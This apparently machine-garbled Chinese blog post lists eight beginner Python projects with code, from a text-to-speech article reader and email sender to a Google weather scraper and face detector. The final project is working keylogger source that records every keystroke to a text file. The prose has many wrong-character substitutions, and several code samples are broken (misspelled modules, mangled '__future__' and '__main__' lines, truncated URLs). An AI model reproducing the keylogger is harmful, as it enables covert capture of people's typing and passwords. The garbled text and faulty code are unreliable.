共计 5475 个字符,预计需要花费 14 分钟才能阅读完成。
大家好,我是陈程~
在应用 Python 的过程中,我最喜爱的就是 Python 的各种第三方库,可能实现很多操作。
上面就给大家介绍 8 个通过 Python 构建的我的项目,以此来学习 Python 编程。
大家也可依据我的项目的目标及提醒,本人构建解决办法,进步编程程度。
01 文章朗诵器
目标:编写一个 Python 脚本,主动从提供的链接读取文章。
import pyttsx3
import requests
from bs4 import BeautifulSoup
url = str(input("Paste article url\n"))
def content(url):
res = requests.get(url)
soup = BeautifulSoup(res.text,'html.parser')
articles = []
for i in range(len(soup.select('.p'))):
article = soup.select('.p')[i].getText().strip()
articles.append(article)
contents = " ".join(articles)
return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)\
def speak(audio):
engine.say(audio)
engine.runAndWait()\
contents = content(url)
## print(contents) ## In case you want to see the content#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file
02 主动发送邮件
目标:编写一个 Python 脚本,能够应用这个脚本发送电子邮件。
提醒:email 库可用于发送电子邮件。
import smtplib
from email.message import EmailMessage
email = EmailMessage() ## Creating a object for EmailMessage
email['from'] = 'xyz name' ## Person who is sending
email['to'] = 'xyz id' ## Whom we are sending
email['subject'] = 'xyz subject' ## Subject of email
email.set_content("Xyz content of email") ## content of email
with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:
## sending request to server
smtp.ehlo() ## server object
smtp.starttls() ## used to send data between server and client
smtp.login("email_id","Password") ## login id and password of gmail
smtp.send_message(email) ## Sending email
print("email send") ## Printing success message
03 短网址生成器
目标:编写一个 Python 脚本,应用 API 缩短给定的 URL。
fromfutureimport with_statement
import contextlib
try:
from urllib.parse import urlencode
except ImportError:
from urllib import urlencode
try:
from urllib.request import urlopen
except ImportError:
from urllib2 import urlopen
import sys
def make_tiny(url):
request_url = ('tinyurl.com/api-create.…urlencode({'url':url}))
with contextlib.closing(urlopen(request_url)) as response:
return response.read().decode('utf-8')
def main():
for tinyurl in map(make_tiny, sys.argv[1:]):
print(tinyurl)
ifname== 'main':
main()
-----------------------------OUTPUT------------------------python url_shortener.pywww.wikipedia.org/tinyurl.com/buf3qt3
04 揭示利用
目标:创立一个揭示应用程序,在特定的工夫揭示你做一些事件 (桌面告诉)。
提醒:Time 模块能够用来跟踪揭示工夫,toastnotifier 库能够用来显示桌面告诉。
装置:win10toast
from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
try:
print("Title of reminder")
header = input()
print("Message of reminder")
text = input()
print("In how many minutes?")
time_min = input()
time_min=float(time_min)
except:
header = input("Title of reminder\n")
text = input("Message of remindar\n")
time_min=float(input("In how many minutes?\n"))
time_min = time_min * 60
print("Setting up reminder..")
time.sleep(2)
print("all set!")
time.sleep(time_min)
toaster.show_toast(f"{header}",
f"{text}",
duration=10,
threaded=True)
while toaster.notification_active(): time.sleep(0.005)
05 闹钟
目标:编写一个创立闹钟的 Python 脚本。
提醒:你能够应用 date-time 模块创立闹钟,以及 playsound 库播放声音。
from datetime import datetime
from playsound import playsound
alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_hour=alarm_time[0:2]
alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]
alarm_period = alarm_time[9:11].upper()
print("Setting up alarm..")
while True:
now = datetime.now()
current_hour = now.strftime("%I")
current_minute = now.strftime("%M")
current_seconds = now.strftime("%S")
current_period = now.strftime("%p")
if(alarm_period==current_period):
if(alarm_hour==current_hour):
if(alarm_minute==current_minute):
if(alarm_seconds==current_seconds):
print("Wake Up!")
playsound('audio.mp3') ## download the alarm sound from link
break
06 天气利用
目标:编写一个 Python 脚本,接管城市名称并应用爬虫获取该城市的天气信息。
提醒:你能够应用 Beautifulsoup 和 requests 库间接从谷歌主页爬取数据。
装置:requests,BeautifulSoup
from bs4 import BeautifulSoup
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
def weather(city):
city=city.replace("","+")
res = requests.get(f'www.google.com/search?q={c…print("Searching in google......\n")
soup = BeautifulSoup(res.text,'html.parser')
location = soup.select('#wob_loc')[0].getText().strip()
time = soup.select('#wob_dts')[0].getText().strip()
info = soup.select('#wob_dc')[0].getText().strip()
weather = soup.select('#wob_tm')[0].getText().strip()
print(location)
print(time)
print(info)
print(weather+"°C")
print("enter the city name")
city=input()
city=city+"weather"
weather(city)
07 人脸检测
目标:编写一个 Python 脚本,能够检测图像中的人脸,并将所有的人脸保留在一个文件夹中。
提醒:能够应用 haar 级联分类器对人脸进行检测。它返回的人脸坐标信息,能够保留在一个文件中。
装置:OpenCV。
下载:haarcascade_frontalface_default.xml\
raw.githubusercontent.com/opencv/open…
import cv2
# Load the cascade
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
# Read the input image
img = cv2.imread('images/img0.jpg')
# Convert into grayscale
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
# Detect faces
faces = face_cascade.detectMultiScale(gray, 1.3, 4)
# Draw rectangle around the faces
for (x, y, w, h) in faces:
cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
crop_face = img[y:y + h, x:x + w]
cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face)
# Display the output
cv2.imshow('img', img)
cv2.imshow("imgcropped",crop_face)
cv2.waitKey()
08 键盘记录器
目标:编写一个 Python 脚本,将用户按下的所有键保留在一个文本文件中。
提醒:pynput 是 Python 中的一个库,用于管制键盘和鼠标的挪动,它也能够用于制作键盘记录器。简略地读取用户按下的键,并在肯定数量的键后将它们保留在一个文本文件中。
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
#keys.append(str(key).replace("'",""))
string = str(key).replace("'","")
keys.append(string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('keys.txt', 'a') as f:
f.write(main_string)
keys= []
def on_release(key):
if key == Key.esc:
return False
with listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
以上就是我分享的内容,心愿可能给大家带来帮忙!如果大家感觉有用的话,就点个赞!感激大家的反对!